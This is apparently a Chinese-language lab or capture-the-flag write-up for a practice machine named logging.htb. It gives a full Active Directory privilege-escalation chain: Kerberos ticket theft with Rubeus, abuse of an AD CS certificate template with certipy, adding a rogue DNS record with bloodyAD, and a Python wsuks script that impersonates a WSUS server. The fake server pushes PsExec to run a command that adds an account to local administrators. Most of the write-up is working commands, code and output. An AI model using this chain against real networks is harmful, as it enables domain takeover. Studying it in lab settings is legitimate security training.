PS C:\Users\jaylee.clifton\Documents\Tickets> dir
	dir


    Directory: C:\Users\jaylee.clifton\Documents\Tickets


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/16/2026   7:27 PM           2453 Incident_4922_WSUS_Remediation_ViewExport.html

html说明了

wsus.logging.htb        → staging WSUS 服务器(DNS 未更新)
ForceSync 计划任务       → 每 120 秒跑一次
任务行为:清空 SoftwareDistribution + 重启 wuauserv

先获取TGS

Rubeus.exe tgtdeleg /target:ldap/DC01.logging.htb /nowrap

枚举AD CS证书

export KRB5CCNAME=jaylee.ccache
certipy find -k -dc-ip 10.129.126.0 \
  -dc-host DC01.logging.htb \
  -target DC01.logging.htb
Certificate Templates
  0
    Template Name                       : UpdateSrv
    Display Name                        : UpdateSrv
    Certificate Authorities             : logging-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True     # ← 可以自定义CN/SAN
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    # 注册权限只有 IT 组,jaylee就是IT组

这是给 WSUS 服务器签 SSL 证书用的模板。路线就清晰了:

用 UpdateSrv 模板签一张 CN=wsus.logging.htb 的证书
         ↓
伪造 WSUS 服务器(HTTPS)
         ↓
ForceSync 任务每 120s 自动来连
         ↓
推送恶意更新包 / 中间人

申请证书

certipy req -k \
  -dc-ip 10.129.126.0 \
  -dc-host DC01.logging.htb \
  -target DC01.logging.htb \
  -ca logging-DC01-CA \
  -template UpdateSrv \
  -upn wsus.logging.htb \
  -dns wsus.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'wsus.logging.htb'
    DNS Host Name: 'wsus.logging.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'wsus.logging.htb_wsus.pfx'
[*] Wrote certificate and private key to 'wsus.logging.htb_wsus.pfx'

添加dns记录

bloodyAD -d logging.htb \
  -u jaylee.clifton \
  -k \
  --host DC01.logging.htb \
  --dc-ip 10.129.126.0 \
  add dnsRecord wsus 10.10.16.83
[+] wsus has been successfully added

验证

C:\Users\jaylee.clifton\Documents\Tickets>nslookup wsus.logging.htb
nslookup wsus.logging.htb
Server:  localhost
Address:  127.0.0.1

Name:    wsus.logging.htb
Address:  10.10.16.83

安装wsuks

pip install --user wsuks

安装payload:wget https://live.sysinternals.com/tools/PsExec64.exe -O /tmp/PsExec64.exe

把 pfx 转成 pem

openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_key.pem -nocerts -nodes -passin pass:

创建 run_wsuks.py

import ssl, sys, os, logging, threading
from functools import partial
from http.server import HTTPServer

sys.modules['wsuks.lib.router'] = type(sys)('stub')
sys.modules['wsuks.lib.router'].Router = object

from wsuks.lib.logger import initLogger
initLogger(debug=False)
from wsuks.lib.wsusserver import WSUSUpdateHandler, WSUSBaseServer

HOST = '10.10.16.83'
EXE  = '/tmp/PsExec64.exe'

COMMAND = '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'

exe_bytes = open(EXE, 'rb').read()
h = WSUSUpdateHandler(exe_bytes, os.path.basename(EXE), f'http://{HOST}:8530')
h.set_resources_xml(COMMAND)

def serve(port, use_tls):
    httpd = HTTPServer((HOST, port), partial(WSUSBaseServer, h))
    if use_tls:
        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ctx.load_cert_chain('wsus_srv_cert.pem', 'wsus_srv_key.pem')
        httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
    httpd.serve_forever()

threading.Thread(target=serve, args=(8530, False), daemon=True).start()
serve(8531, True)

运行

python3 run_wsuks.py

等待获取两个Get后

*Evil-WinRM* PS C:\Users\msa_health$\Documents> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
msa_health$
toby.brynleigh

重新登录evil-winrm即可


其他

WSUS 更新机制要求:

  1. 客户端信任 WSUS 服务器的 TLS 证书
  2. 推送的可执行文件必须有微软签名(PsExec 满足这个条件)
  3. 更新元数据格式必须正确,客户端才会进入下载阶段

pywsus 在第三点上有问题,对 Server 2019 的产品分类匹配不上,导致客户端认为"0 updates"。wsuks 修复了这个元数据格式问题。